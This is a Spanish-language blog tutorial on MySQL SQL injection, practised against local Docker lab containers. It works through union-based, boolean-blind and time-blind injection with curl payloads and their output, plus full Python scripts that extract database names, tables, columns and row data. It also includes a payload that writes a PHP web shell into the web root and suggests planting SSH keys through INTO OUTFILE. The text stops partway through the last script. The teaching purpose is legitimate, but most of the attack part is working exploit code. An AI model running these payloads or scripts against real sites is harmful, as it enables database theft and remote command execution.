Aprende SQLI (MySQL)

December 19, 2023 in Ciberseguridad24 minutes

Aprende SQLI con ejemplos y contenedores docker para poner en práctica todo lo que vas aprendiendo, a lo largo del post aprenderás 3 típos de SQLI: Basadas en tiempo, Union y Boleanas

Aprende SQLI (MySQL)

¿Qué es una SQLI?

Como dicen las siglas SQL Injection (Inyección SQL), consiste en inyectar instrucciones SQL dentro de una query SQL, mediante la entrada o modificaciones de datos desde el cliente hacia la aplicación intencionada. Por ejemplo un formulario, un panel de inicio de sesión, comentarios, etc…

Vamos a imaginarnos un ejemplo, tenemos una web que nos da la información del usuario que le mandamos por get

> curl -s "localhost/index.php?nombre=joan" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin

Vamos a analizar el código para ver como está hecho.

$nombre = $_GET['nombre'];
$query = "SELECT * FROM mi_tabla WHERE nombre = '$nombre'";

El servidor web recibe por GET el contenido que se manda por el parámetro nombre y mete directamente nuestro input a la query SQL, sin validar si realmente le estamos pasando un nombre, así que esto lo hace vulnerable a una SQL Injection.

> curl -s "localhost/index.php?nombre=joan'"
Error en la consulta: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''joan''' at line 1

Ha saltado un error en la consulta SQL, en el mensaje de error especifican que concretamente ha sido en ‘‘‘joan’’’’. Esto es porque hemos añadido una comilla la cual nunca se ha cerrado y ha quedado colgada lo que ha causado un error. Así es como a quedado la query con la comilla que hemos añadido.

SELECT * FROM mi_tabla WHERE nombre = 'joan''

Ahora todo lo que pongamos después de la comilla se va a interpretar como instrucciones sql y para que no de problemas la comilla que se queda colgada, la podemos comentar con ‘– -’

SELECT * FROM mi_tabla WHERE nombre = 'joan' sleep(5) -- -'

Para entenderlo mejor, os comparto un ejemplo hecho con python, ya que python es más fácil de entender

Cuando le ponemos una comilla de más da error

>>> name = "Joan""
  File "<stdin>", line 1
    name = "Joan""
                 ^
SyntaxError: unterminated string literal (detected at line 1)

Si comentamos la comilla ya no da error

>>> name = "Joan" #"

Ahora el contenido que pongamos después de la comilla se va a interpretar como instrucciones y no como texto

>>> name = "joan"; print("Hola") #"
Hola

MySQL

Inyección Union

Laboratorio

Para la explicación se va a usar el laboratorio 1:

  • Descarga el laboratorio

  • Descomprímelo y entra a la carpeta

unzip lab1.zip
cd lab1

Despliega el contenedor

docker-compose up --build

Una vez tenemos localizada la SQL Injection, en el caso del laboratorio 1 es el parámetro nombre, vamos a llevar a cabo el tipo de inyección union.

Primero de todo necesitamos saber el número de columnas que tiene la tabla que se está usando. Para localizarlas vamos a usar la funcion ‘order’ la cual nos permite ordenar las columnas basándonos en la columna que le especificamos, si le especificamos un número de columnas que no exista va a dar error, jugando con esto podemos encontrar el número de columnas

> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 3-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 4-- -" | sed 's/<br>/\n/g'
Error en la consulta: Unknown column '4' in 'order clause'

Ahora ya sabemos que la tabla tiene 3 columnas, porque ‘order by 3’ no da error pero ‘order by 4’ sí. En el caso de que sea una tabla muy grande podemos usar herramientas para automatizar este paso.

> wfuzz -c -t 20 -z range,1-5 "http://localhost/?nombre=joan'+order+by+FUZZ--+-"


000000001:   200        1 L      3 W        31 Ch       "1"                                           
000000003:   200        1 L      3 W        31 Ch       "3"                                           
000000002:   200        1 L      3 W        31 Ch       "2"                                           
000000004:   200        0 L      10 W       58 Ch       "4"                                           
000000005:   200        0 L      10 W       58 Ch       "5" 

Vemos que cuando el número de columna ya no existe cambia el tamaño de la respuesta.

Ya tenemos el número de columnas así que podemos empezar a usar union para concatenar datos. El payload es el siguiente

union select NULL,NULL,NULL-- -

Hay que poner tantos NULL como columnas tenga la tabla.

> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,NULL,NULL-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
Nombre: 
Rol: 

Ahora podemos sustituir los NULL por cadenas de texto para comprobar en que columnas podemos mostrar datos

> curl -s -G "localhost" --data-urlencode "nombre=joan' union select 'a','b','c'-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
Nombre: b
Rol: c

Sabemos que podemos ver los datos de las columnas 2 y 3.

Enumeración bases de datos

Para saber que bases de datos existen usaremos el siguiente payload

union select NULL,schema_name,NULL from informationschema.schemata-- -

Que significa schema_name, information_schema y schemata?, para saberlo vamos a mirar la base de datos del contenedor sql. Para encontrar el identificador del contenedor hay que ejecutar sudo docker ps

> sudo docker ps

CONTAINER ID   IMAGE            COMMAND                  CREATED        STATUS         PORTS                                                  NAMES
52e31603f6a9   php:7.4-apache   "docker-php-entrypoi…"   13 hours ago   Up 8 minutes   0.0.0.0:80->80/tcp, :::80->80/tcp                      lab1_web_1
d71dbadbe4d0   mysql:5.7        "docker-entrypoint.s…"   13 hours ago   Up 8 minutes   0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp   lab1_db_1

Ahora ya tenemos el id y podemos ejecutar una bash en el contenedor, y después entrar a mysql.

> sudo docker exec -it d71dbadbe4d0 bash
bash-4.2# mysql -u root -p
Enter password:

Si miramos las bases de datos con show databases; vemos que existe una base de datos que es predeterminada llamada information_schema

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| my_database        |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

Dentro de la base de datos information_schema existe una tabla entre muchas llamada schemata

mysql> use information_schema
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| ....                                  |
| SCHEMATA                              |
| ...                                   |
+---------------------------------------+
61 rows in set (0.00 sec)

Y por último dentro de la tabla schemata, concretamente en la columna ‘schema_name’’ están los nombres de las bases de datos.

mysql> select * from schemata;

+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | my_database        | latin1                     | latin1_swedish_ci      | NULL     |
| def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | sys                | utf8                       | utf8_general_ci        | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
5 rows in set (0.00 sec)

Si volvemos al payload que teníamos antes, vemos que lo que estamos diciendo es, que meta la columna ‘schema_name’ (la cual contiene los nombres de las bases de datos) en la columna numero 2. Despues le decimos con from donde está esa columna, que está en la base de datos ‘information_schema’ y en la tabla schemata:

union select NULL,schema_name,NULL from informationschema.schemata
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,schema_name,NULL from information_schema.schemata-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
Nombre: information_schema
Rol: 
Nombre: my_database
Rol: 
Nombre: mysql
Rol: 
Nombre: performance_schema
Rol: 
Nombre: sys
Rol: 

En este caso vemos que se añade una nueva fila con ‘Nombre: ’ y ‘Rol: ’ Por cada base de datos encontrada, pero esto no siempre va a ser tan fácil en algunas webs puede ser que solo nos muestren el primer dato. En estos casos podemos usar delimitadores para que se vayan mostrando las bases de datos como en el siguiente ejemplo

> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 0,1-- -" | sed 's/<br>/\n/g'

Nombre: information_schema
Rol: 

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 2,1-- -" | sed 's/<br>/\n/g'

Nombre: mysql
Rol:

Esto ya empieza a tener muy buena pinta… tenemos la capacidad de enumerar las bases de datos.

Enumeración de las tablas

Ahora toca enumerar las tablas, el procedimiento es bastante parecido.

Dentro de la base de datos information_schema hay una tabla llamada tables la cual contiene el nombre de todas las tablas.

+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| ...                                   |
| TABLES                                |
| ...                                   |
+---------------------------------------+

Dentro de la tabla tables hay una columna llamada table_name con el nombre de las tablas, y otra llamada table_schema la cual tiene el nombre de la base de datos a la cual pertenece la tabla. Por ejemplo en la siguiente instrucción se muestran las tablas de la base de datos ‘my_database’

mysql> select table_name from tables where table_schema = 'my_database' ;
+------------+
| table_name |
+------------+
| mi_tabla   |
+------------+

Esto aplicado a la inyección quedaria de la siguiente forma

union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
Nombre: mi_tabla
Rol: 

Igual que con las bases de datos si es una inyección en la cual solo vemos el primer dato, podemos usar delimitadores, para ir viendo los nombres uno por uno

> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database' limit 0,1 -- -" | sed 's/<br>/\n/g'

Nombre: mi_tabla
Rol: 

Columnas

Una vez tenemos las tablas, tocan las columnas.

Dentro de la base de datos information_schema hay una tabla llamada columns en la cual están los nombres de las columnas

mysql> show tables;

+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| ...                                   |
+---------------------------------------+
61 rows in set (0.00 sec)

De toda esta tabla vamos a usar solo 3 columnas:

  • column_name: Contiene el nombre de las columnas
  • table_name: Contiene el nombre de la tabla a la cual pertenece esa columna
  • table_schema: Contiene el nombre de la base de datos a la cual pertenece la columna
mysql> select column_name from columns where table_name = 'mi_tabla' and table_schema = 'my_database';
+-------------+
| column_name |
+-------------+
| id          |
| nombre      |
| rol         |
+-------------+
3 rows in set (0.00 sec)

Esto aplicado a la inyección quedaría de la siguiente forma:

> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,column_name,NULL from information_schema.columns where table_name = 'mi_tabla' and table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
Nombre: id
Rol: 
Nombre: nombre
Rol: 
Nombre: rol
Rol: 

Otra vez si solo nos muestra un dato, podemos usar delimitadores para ir viéndolos poco a poco.

> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 0,1 -- -" | sed 's/<br>/\n/g'

Nombre: id
Rol: 

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 1,1 -- -" | sed 's/<br>/\n/g'

Nombre: nombre
Rol: 

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 2,1 -- -" | sed 's/<br>/\n/g'

Nombre: rol
Rol:

Data

Por último solo nos quedaría ver el contenido de las columnas que hemos encontrado. La petición ahora es mucho más sencilla. En mysql se vería así

mysql> select nombre from mi_tabla;
+--------+
| nombre |
+--------+
| Joan   |
| Quim   |
| Andreu |
+--------+

Y la inyección sería simplemente la siguiente

curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol: 
Nombre: Quim
Rol: 
Nombre: Andreu
Rol: 
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,rol from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol: admin
Nombre: Quim
Rol: user
Nombre: Andreu
Rol: user

En este caso podemos ver el contenido de varias columnas a la vez de forma simple, pero no siempre es así. Si solo podemos mostrar datos en una columna podemos concatenar datos con ‘group_concat()’

group_concat(nombre,':',rol) 

Con esto estaremos mostrando el contenido de la columna nombre y de la columna rol en la misma columna.

> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,group_concat(nombre,':',rol) ,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan:admin,Quim:user,Andreu:user
Rol: 

Si solo nos muestra el primer dato podemos usar delimitadores para ir mostrándolos poco a poco

> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 1,1 -- -" | sed 's/<br>/\n/g'
Nombre: Quim
Rol: user

                                                                                                               
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 2,1 -- -" | sed 's/<br>/\n/g'
Nombre: Andreu
Rol: user

Subida de archivos

Aparte de sacar información de la base de datos también podemos probar de escribir archivos. Esto lo haremos poniendo el contenido que queremos meter en el archivo en una columna y luego lo redirigiremos con ‘into outfile’ al ‘/tmp/sqli’

?nombre=joan' union select NULL,"holaaaaaa",NULL into outfile "/tmp/sqli"-- -

Para comprobar si ha funcionado vamos a abrir una terminal con el contendor. Primero buscaremos el id del contenedor

> sudo docker ps
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                                  NAMES
c4b17fc1716b   php:7.4-apache   "docker-php-entrypoi…"   13 seconds ago   Up 12 seconds   0.0.0.0:80->80/tcp, :::80->80/tcp                      lab1_web_1
5f7d54a374b0   mysql:5.7        "docker-entrypoint.s…"   13 seconds ago   Up 12 seconds   0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp   lab1_db_1

Después ejecutaremos una bash en el contenedor mysql

> sudo docker exec -it 5f7d54a374b0 bash

bash-4.2# ls
bin   dev			  entrypoint.sh  home  lib64  mnt  proc  run   srv  tmp  var
boot  docker-entrypoint-initdb.d  etc		 lib   media  opt  root  sbin  sys  usr

Por último, comprobamos:

bash-4.2# ls /tmp
a  sqli  testing_sqli

bash-4.2# cat /tmp/sqli 
1	Joan	admin
\N	holaaaaaa	\N

¿De qué nos sirve esto?

Podemos usar esta técnica para por ejemplo modificar el authorized_keys de un usuario del sistema para poder entrar sin proporcionar contraseña. El authorized_keys por defecto está en ‘/home/(user)/.ssh/authorized_keys’

También lo podemos usar para crear un nuevo archivo php en la web con código malicioso el cual nos permita ejecutar comandos.

' union select NULL,"<?php system($_GET['cmd']);",NULL into outfile "/var/www/html/cmd.php"-- -

Esto básicamente lo que hace es crear un archivo en /var/www/html que es la ruta por defecto para las webs. El archivo que crea le mete codigo php el cual hace que todo lo que reciba por GET, por el parámetro cmd (localhost/cmd.php?cmd=) lo ejecutara con la función system. Lo que permitirá tener una ejecución remota de comandos.

En el laboratorio 1 no se puede probar, ya que la web y la base de datos están en contenedores distintos.

Booleana

Laboratorio

Para la explicación se va a usar el laboratorio 3:

  • Descarga el laboratorio

  • Descomprímelo y entra a la carpeta

unzip lab3.zip
cd lab3

Despliega el contenedor

docker-compose up --build

En este tipo de inyecciones no vamos a ver el output de las querys maliciosas.

Empezamos mandando una petición normal, y al final le ponemos algo que sea True como por ejemplo (1=1, a=a, ‘a’=‘a’), mirando las respuestas podemos ver que cuando la solicitud es correcta vemos el Nombre y el Rol, pero cuando la petición es incorrecta no sale ni el Nombre ni el Rol

curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=1 -- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=2 -- -" | sed 's/<br>/\n/g'


                                                                                            

Esto dependiendo de la web puede cambiar lo que se muestra o se deja de mostrar, a veces pueden ser detalles muy pequeños

Para sacar información con este método podemos hacer una petición diciendo que el primer carácter de el primer base de datos es una ’m’, en el caso de que la afirmación sea cierta veremos el Nombre y el Rol, de caso contrario que no acertemos el caracter no nos saldrá nada.

curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a'-- -" | sed 's/<br>/\n/g'

   
      

De forma manual tardaríamos una eternidad en sacar la información de la base de datos así que podemos automatizarlo con python

Base de datos

Para enumerar las bases de datos vamos a usar el siguiente payload

joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -

En el script declaramos una variable llamada mensaje la cual contiene el mensaje que devuelve la web cuando la query sql es correcta, cada vez que el script lanze una petición comprobara si en la respuesta está este mensaje. Después calculamos la cantidad de bases de datos. Por último se calcula el “Length” de cada nombre de la base de datos y se hace fuerza bruta para sacar cada caracter.

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"

def database(url,characters,mensaje):
    p1 = log.progress("Probando con")
    p2 = log.progress("Bases de datos")

    database = ""
    for i in range(100):
        payload = "{} and (select count(schema_name) from information_schema.schemata)={}-- -".format(url,i)
        r = requests.get(payload)
        if mensaje in r.text:
            dbs = i
            break

    for db in range(dbs):
        for i in range(100):
            payload = "{} and LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}-- -".format(url, db, i)
            r = requests.get(payload)
            if mensaje in r.text:
                    db_length = i + 1
                    break

        database += "\n[*] "
        for position in range(db_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}'-- -".format(url, db, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    database += char
                    p2.status(database)
                    break

database(url,characters,mensaje)

Tablas

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"

def tables(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Tablas")

    tables = ""
    for i in range(100):
        payload = "{} and (select count(table_name) from information_schema.tables where table_schema = 'my_database')={}-- -".format(url,i)
        r = requests.get(payload)
        if mensaje in r.text:
            tbs = i
            break
    
    for tb in range(tbs):
        for i in range(100):
            payload = "{} and LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}-- -".format(url, tb, i)
            r = requests.get(payload)
            if mensaje in r.text:
                    tb_length = i + 1
                    break
            
        tables += "\n[*] "
        for position in range(tb_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}'-- -".format(url, tb, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    tables += char
                    p2.status(tables)
                    break
    
tables(url,characters)

Columnas

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"

def columns(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Columnas")

    columns = ""
    for i in range(100):
        payload = "{} and (select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}-- -".format(url,i)
        r = requests.get(payload)
        if mensaje in r.text:
            cols = i
            break
    
    for col in range(cols):
        for i in range(100):
            payload = "{} and LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}-- -".format(url, col, i)
            r = requests.get(payload)
            if mensaje in r.text:
                    col_length = i + 1
                    break
            
        columns += "\n[*] "
        for position in range(col_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}'-- -".format(url, col, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    columns += char
                    p2.status(columns)
                    break
    
columns(url,characters)

Data

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"

def data(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Datos")

    datos = ""
    for i in range(100):
        payload = "{} and (select count(nombre) from my_database.mi_tabla)={}-- -".format(url,i)
        r = requests.get(payload)
        if mensaje in r.text:
            dts = i
            break
    
    for dt in range(dts):
        for i in range(100):
            payload = "{} and LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}-- -".format(url, dt, i)
            r = requests.get(payload)
            if mensaje in r.text:
                    dt_length = i + 1
                    break
        
            
        datos += "\n[*] "
        for position in range(dt_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}'-- -".format(url, dt, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    datos += char
                    p2.status(datos)
                    break
    
data(url,characters)

Mas información relevante

version() [Versión Base de datos]
SELECT version();
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"

def version(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Datos")

    versions = ""
    for v in range(1):
        for i in range(100):
            payload = "{} and LENGTH((select version() limit {}, 1))={}-- -".format(url, v, i)
            r = requests.get(payload)
            if mensaje in r.text:
                    v_length = i + 1
                    break
        
            
        versions += "\n[*] "
        for position in range(v_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select version() limit {},1),{},1)='{}'-- -".format(url, v, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    versions += char
                    p2.status(versions)
                    break
    
version(url,characters)
user() [Usuario que ejecuta la base de datos]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario: 
    [*] root@172.19.0.3
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"

def user(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Usuario")

    users = ""
    for user in range(1):
        for i in range(100):
            payload = "{} and LENGTH((select user() limit {}, 1))={}-- -".format(url, user, i)
            r = requests.get(payload)
            if mensaje in r.text:
                v_length = i + 1
                break
        
            
        users += "\n[*] "
        for position in range(v_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select user() limit {},1),{},1)='{}'-- -".format(url, user, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    users += char
                    p2.status(users)
                    break
    
user(url,characters)
database() [Base de datos en uso]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso: 
    [*] my_database
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"

def user(url,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Base de datos en uso")

    databases = ""
    for db in range(1):
        for i in range(100):
            payload = "{} and LENGTH((select database() limit {}, 1))={}-- -".format(url, db, i)
            r = requests.get(payload)
            if mensaje in r.text:
                db_length = i + 1
                break
        
            
        databases += "\n[*] "
        for position in range(db_length):
            for char in characters:
                p1.status(char)
                payload = "{} and substr((select database() limit {},1),{},1)='{}'-- -".format(url, db, position, char)

                r = requests.get(payload)

                if mensaje in r.text:
                    databases += char
                    p2.status(databases)
                    break
    
user(url,characters)

Basada en tiempo a ciegas

Laboratorio

Para la explicación se va a usar el laboratorio 3:

  • Descarga el laboratorio

  • Descomprímelo y entra a la carpeta

unzip lab3.zip
cd lab3

Despliega el contenedor

docker-compose up --build

En estas inyecciones no vamos a estar viendo el output, así que vamos a jugar con los tiempos de carga del servidor

Empezamos mandando una petición en la cual le decimos a la base de datos que se espere 5 segundos, Para saber si la inyección funciona, vamos a usar el comando time el cual nos dirá cuanto ha tardado

> time curl -s -G "localhost" --data-urlencode "nombre=joan' and sleep(5) -- -" | sed 's/<br>/\n/g'

real	5.03s

Ha tardado 5.03 segundos lo que significa que aparentemente ha funcionado la inyección

Base de datos

Para enumerar las bases de datos vamos a usar el siguiente payload

joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -  

¿Qué estamos haciendo con esto?

Le estamos diciendo que “si el nombre de la primera base de datos empieza por ‘a’, quédate esperando 5 segundos”

Esto no tardará 5 segundos, ya que no empieza por a, pero con la m si se queda colgado.

> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -" | sed 's/<br>/\n/g'

Nombre: Joan
Rol: admin

real	0.01s
                                                                                                                                                                                                                                           
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m',sleep(5),1)-- -" | sed 's/<br>/\n/g'

real	5.02s

Si lo hacemos manualmente vamos a tardar mucho, así que podemos hacer un script en python que lo automatice

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"

def database(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Bases de datos")

    database = ""
    for i in range(100):
        payload = "{} and if((select count(schema_name) from information_schema.schemata)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
        r = requests.get(payload)
        if r.elapsed.total_seconds() >= sleep_time:
            dbs = i
            break

    for db in range(dbs):
        for i in range(100):
            payload = "{} and if(LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    db_length = i + 1
                    break
                    
        database += "\n[*] "
        for position in range(db_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    database += char
                    p2.status(database)
                    break
                
database(url,sleep_time,characters)

Tables

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"

def tables(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Tablas")

    tables = ""
    for i in range(100):
        payload = "{} and if((select count(table_name) from information_schema.tables where table_schema = 'my_database')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
        r = requests.get(payload)
        if r.elapsed.total_seconds() >= sleep_time:
            tbs = i
            break
    
    for tb in range(tbs):
        for i in range(100):
            payload = "{} and if(LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}, sleep({}), 1)-- -".format(url, tb, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    tb_length = i + 1
                    break
            
        tables += "\n[*] "
        for position in range(tb_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, tb, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    tables += char
                    p2.status(tables)
                    break
    
tables(url,sleep_time,characters)

Columns

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 0.1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"

def columns(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Columnas")

    columns = ""
    for i in range(100):
        payload = "{} and if((select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
        r = requests.get(payload)
        if r.elapsed.total_seconds() >= sleep_time:
            cols = i
            break
    
    for col in range(cols):
        for i in range(100):
            payload = "{} and if(LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}, sleep({}), 1)-- -".format(url, col, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    col_length = i + 1
                    break
            
        columns += "\n[*] "
        for position in range(col_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, col, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    columns += char
                    p2.status(columns)
                    break
    
columns(url,sleep_time,characters)

Data

from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"

def data(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Datos")

    datos = ""
    for i in range(100):
        payload = "{} and if((select count(nombre) from my_database.mi_tabla)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
        r = requests.get(payload)
        if r.elapsed.total_seconds() >= sleep_time:
            dts = i
            break
    
    for dt in range(dts):
        for i in range(100):
            payload = "{} and if(LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}, sleep({}), 1)-- -".format(url, dt, i, sleep_time)
            r = requests.get(payload)
